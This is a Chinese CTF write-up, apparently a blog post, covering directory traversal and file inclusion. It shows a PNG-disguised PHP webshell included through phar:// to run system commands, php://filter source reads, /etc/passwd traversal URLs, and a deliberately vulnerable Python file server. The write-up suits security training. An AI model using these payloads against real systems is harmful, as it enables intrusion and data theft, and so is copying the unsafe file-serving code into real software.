zoukankan      html  css  js  c++  java
  • 目录遍历复现(ZIP伪协议、Python遍历)

    原题HCTF2016 兵者多诡

    项目地址:https://github.com/Heart-Sky/HCTF2016-LFI

    1.收集题目信息

    题目上传图片,先简单抓包

    发现包中URL进行了两次变化:

    2.分析

    结合上面的抓包,内容联想是否是文件包含题目

    首先猜测

    ?fp=show.php

    返回结果一样,包含失败

    尝试修改为

    ?fp=./show

    返回数据包中出现重定向,说明存在文件

    这样一来可以确定的是题目考点是文件包含

    3.读取源码

    逐个尝试

    最后base64解密得到./show的源码:

    <?php  
    $imagekey = $_GET['imagekey'];
    if(empty($imagekey))
    {
        echo "<script>location.href='home.php'</script>";
        exit;
    }
    
    
    ?>
    <div class="alert alert-success" role="alert">
        上传成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">点此查看</a>
    </div>

    同理发现./upload访问后也重定向

    包含得源码

    <?php  
    include 'function.php';
    if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name']))
    {    
        $name = $_FILES['image']['tmp_name'];
        $type = $_FILES['image']['type'];
        $size = $_FILES['image']['size'];
    
        if(!is_uploaded_file($name))
        {
            ?>
            <div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
            <?php
                exit;
        }    
    
        if($type !== 'image/png')
        {
            ?>
            <div class="alert alert-danger" role="alert">只能上传PNG图片</div>
            <?php
                exit;
        }     
    
        if($size > 10240)
        {
            ?>
            <div class="alert alert-danger" role="alert">图片大小超过10KB</div>
            <?php
                exit;    
        }
    
        $imagekey = create_imagekey();
        move_uploaded_file($name,"uploads/$imagekey.png");
    
        echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>";
    }
    ?>

    分析源码可以看见,题目要求只能上传png后缀图片,且大小不超过10KB。对比一下自己写的图片马,肯定都是大于10KB无法上传的。

    4.伪协议的利用

    PHP中的ZIP伪协议可以读取调用压缩包中的文件,zip://

    事先准备好php的webshell,压缩成zip,上传绕过前端的验证

    错误的绕过:

    修改了文件类型,解析的时候会出问题

    正确的绕过:压缩后修改后缀名,参考:如何伪装压缩文件为图片

    访问的图片URL:

    详细包含示例:

    #号后面是压缩包里的文件1.php,读取的时候只有文件名1,不需要后缀(上面为了便于理解加了.php)

    尝试包含但是zip无法使用,就替换成类似的phar://

    http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=phpinfo();

    http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=system(ls);

    看到目录下的flag文件,直接源码包含

    http://www.youkilearning.top:8000/12/home.php?fp=php://filter/convert.base64-encode/resource=./Th1s_1s_F1a9

    得到

    Q29uZ3JhdHVsYXRpb25zLGZsYWcgaXMgaGVyZSxhbmQgdGhlbj8KPD9waHAKLy9oY3Rme1RoMXNfMXNfZTRzWV8xc19uMFRfMXQ/fQo/Pgo=
    
    
    Congratulations,flag is here,and then?
    <?php
    //hctf{Th1s_1s_e4sY_1s_n0T_1t?}
    ?>

    原题PWNHUB-Classroom

    找不到原题没法复现,就把要点拆开来分析

    1.Django目录遍历漏洞

    1.静态资源逻辑配置错误

    Django静态文件static介绍

    Python框架静态资源目录不安全配置导致(不方便复现就没有复现):

    URL:

    /static/../../../../../../etc/passwd

    ../和./作用相同,不断向上跳转目录,直到到系统达根目录,根目录的父目录还是根目录自己,此时我们便能读取敏感信息路径

    2.普通目录遍历

    环境Python2,代码:

    # -*- coding: utf-8 -*-
    import sys
    import SocketServer
    import BaseHTTPServer
    import threading
    import time
    import exceptions
    import os
    
    
    class MyHttpRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            if os.path.isfile(self.path):
                file = open(self.path)
                self.wfile.write(file.read())
                file.close()
            else:
                self.wfile.write('hello world')
    
    
    class ThreadedHttpServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
        __httpd = None
    
        @staticmethod
        def get():
            if not ThreadedHttpServer.__httpd:
                ThreadedHttpServer.__httpd = ThreadedHttpServer(('0.0.0.0', 80), MyHttpRequestHandler)
            return ThreadedHttpServer.__httpd
    
    
    def main():
        try:
            httpd = ThreadedHttpServer.get()
            httpd.serve_forever()
        except exceptions.KeyboardInterrupt:
            httpd.shutdown()
        except Exception as e:
            print
            e
    
    
    if __name__ == '__main__':
        main()

    关键代码:

    if os.path.isfile(self.path):
                file = open(self.path)
                self.wfile.write(file.read())
                file.close()

    当路径下存在文件时,读取并显示

    URL:

    127.0.0.1/././././././etc/passwd

    2.Pyc字节码反编译

    Python3在运行Python文件时,会对运行的模块进行缓存,并存放在_pycache_目录下

    其命名规则:

    module_name一般是Python文件的名称

    知道以上内容,可以使用https://tool.lu/pyc/进行在线反编译

    3.Django的ORM注入漏洞

    关于这一点网上资料甚少,只有讲解最基础的ORM:Django的ORM理解

    [Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
  • 相关阅读:
    解决-bash: fork: retry: Resource temporarily unavailable错误
    Python虚拟环境--virtualenv
    Docker三大核心概念之镜像
    LRU cache 实现
    二叉树常见算法总结和C++实现
    跳表原理及C++实现
    结构笔记—串的基本操作及串的模式匹配算法
    Bloom Filter布隆过滤器原理和实现(2)
    Bloom Filter布隆过滤器原理和实现(1)
    bitmap位图原理和实现
  • 原文地址:https://www.cnblogs.com/echoDetected/p/14400955.html
Copyright © 2011-2022 走看看